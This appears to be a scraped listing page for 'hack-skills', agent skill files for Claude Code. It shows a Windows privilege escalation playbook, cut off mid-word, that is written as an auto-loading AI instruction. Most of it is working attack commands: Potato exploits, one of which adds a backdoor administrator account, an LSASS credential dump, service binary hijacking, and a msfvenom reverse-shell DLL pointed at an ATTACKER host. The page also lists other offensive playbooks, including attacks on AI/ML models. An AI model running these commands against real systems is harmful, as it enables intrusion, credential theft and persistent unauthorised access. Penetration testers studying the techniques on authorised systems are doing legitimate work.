401-403-bypass-techniq…
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
$ npx -y skills add yaklang/hack-skills --skill windows-privilege-escalation --agent claude-codeHow it fires
How this skill gets triggered: by you, by Claude, or both.
/windows-privilege-escalationContext preview
The summary Claude sees to decide when to auto-load this skill.
Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
name: windows-privilege-escalation description: >- Windows local privilege escalation playbook. Use when you have low-privilege shell access on Windows and need to escalate via token abuse, Potato exploits, service misconfigurations, DLL hijacking, UAC bypass, or registry autoruns.
> **AI LOAD INSTRUCTION**: Expert Windows privesc techniques. Covers token manipulation, Potato family, service misconfigurations, DLL hijacking, AlwaysInstallElevated, scheduled task abuse, registry autoruns, and named pipe impersonation. Base models miss nuanced privilege prerequisites and OS-version-specific constraints.
Before going deep, consider loading:
Also load [TOKEN_POTATO_TRICKS.md](./TOKEN_POTATO_TRICKS.md) when you need:
Also load [UAC_BYPASS_METHODS.md](./UAC_BYPASS_METHODS.md) when you need:
---
whoami /all & REM Current user, groups, privileges systeminfo & REM OS version, hotfixes, architecture hostname & REM Machine name net user %USERNAME% & REM Group memberships
whoami /priv
| Privilege | Escalation Path | |---|---| | `SeImpersonatePrivilege` | Potato family exploits (§2) | | `SeAssignPrimaryTokenPrivilege` | Token manipulation, Potato variants | | `SeDebugPrivilege` | Dump LSASS, inject into SYSTEM processes | | `SeBackupPrivilege` | Read any file (SAM/SYSTEM/NTDS.dit) | | `SeRestorePrivilege` | Write any file (DLL hijack, service binary) | | `SeTakeOwnershipPrivilege` | Take ownership of any object | | `SeLoadDriverPrivilege` | Load vulnerable kernel driver → kernel exploit |
sc query state= all & REM All services wmic service get name,displayname,pathname,startmode | findstr /i "auto" schtasks /query /fo LIST /v & REM Verbose scheduled task list
wmic product get name,version wmic qfe list & REM Installed patches
netstat -ano & REM Listening ports + PIDs cmdkey /list & REM Stored credentials dir C:\Users\*\AppData\Local\Microsoft\Credentials\* reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul
---
Service accounts (IIS AppPool, MSSQL, etc.) typically hold `SeImpersonatePrivilege`. This enables impersonation of any token presented to you.
| Tool | OS Support | Protocol | Notes | |---|---|---|---| | **JuicyPotato** | Win7–Server2016 | COM/DCOM | Requires valid CLSID; patched on Server2019+ | | **RoguePotato** | Server2019+ | OXID resolver redirect | Needs controlled machine on port 135 | | **PrintSpoofer** | Win10/Server2016-2019 | Named pipe via Print Spooler | Simple, fast; Spooler must run | | **SweetPotato** | Broad | COM + Print + EFS | Combines multiple techniques | | **GodPotato** | Win8–Server2022 | DCOM RPCSS | Works on latest patched systems |
# PrintSpoofer (simplest for modern systems)
PrintSpoofer64.exe -i -c "cmd /c whoami"
# GodPotato (broadest compatibility)
GodPotato.exe -cmd "cmd /c net user hacker P@ss123 /add && net localgroup administrators hacker /add"
# JuicyPotato (legacy systems)
JuicyPotato.exe -l 1337 -p c:\windows\system32\cmd.exe -a "/c whoami" -t * -c {CLSID}# Dump LSASS (if SeDebugPrivilege is enabled) procdump -ma lsass.exe lsass.dmp # Or migrate into a SYSTEM process # Meterpreter: migrate to winlogon.exe / services.exe
---
# Find unquoted paths with spaces wmic service get name,pathname,startmode | findstr /i /v "C:\Windows\\" | findstr /i /v """
If path is `C:\Program Files\My App\service.exe`, Windows tries: 1. `C:\Program.exe` 2. `C:\Program Files\My.exe` 3. `C:\Program Files\My App\service.exe`
Place malicious binary at first writable location.
# Check service ACL with accesschk (Sysinternals) accesschk64.exe -wuvc * /accepteula # Look for: SERVICE_CHANGE_CONFIG, SERVICE_ALL_ACCESS
# Reconfigure service to run attacker binary sc config vuln_svc binpath= "C:\temp\rev.exe" sc stop vuln_svc sc start vuln_svc
# Check if current user can write to the service binary path icacls "C:\Program Files\VulnApp\service.exe" # (F) = Full, (M) = Modify, (W) = Write → replace binary
---
1. Directory of the executable 2. `C:\Windows\System32` 3. `C:\Windows\System` 4. `C:\Windows` 5. Current directory 6. Directories in `%PATH%`
# Find missing DLLs (use Process Monitor) # Filter: Result=NAME NOT FOUND, Path ends with .dll # Compile malicious DLL # msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER LPORT=4444 -f dll > evil.dll # Place in writable directo
Master Entry → Category Entries → Deep Topic Skills One master entry, six category entries, and 102 deep topic skills across 14 security domains.
Repo: yaklang/hack-skills
401/403 bypass playbook. Use when encountering access-denied responses on admin panels, API endpoints, or restricted paths. Covers path manipulation, HTTP…
Active Directory ACL abuse playbook. Use when exploiting misconfigured AD permissions including GenericAll, WriteDACL, DCSync rights, shadow credentials, LAPS…
AD Certificate Services attack playbook. Use when targeting misconfigured AD CS for privilege escalation via ESC1-ESC13 template abuse, NTLM relay to…
Kerberos attack playbook for Active Directory. Use when targeting AD authentication via AS-REP roasting, Kerberoasting, golden/silver/diamond tickets,…
AI/ML security playbook. Use when assessing model supply chain attacks (pickle RCE, poisoned weights), adversarial examples, model poisoning, model stealing,…
Android pentesting playbook. Use when testing Android applications for SSL pinning bypass, exported component abuse, WebView vulnerabilities, intent…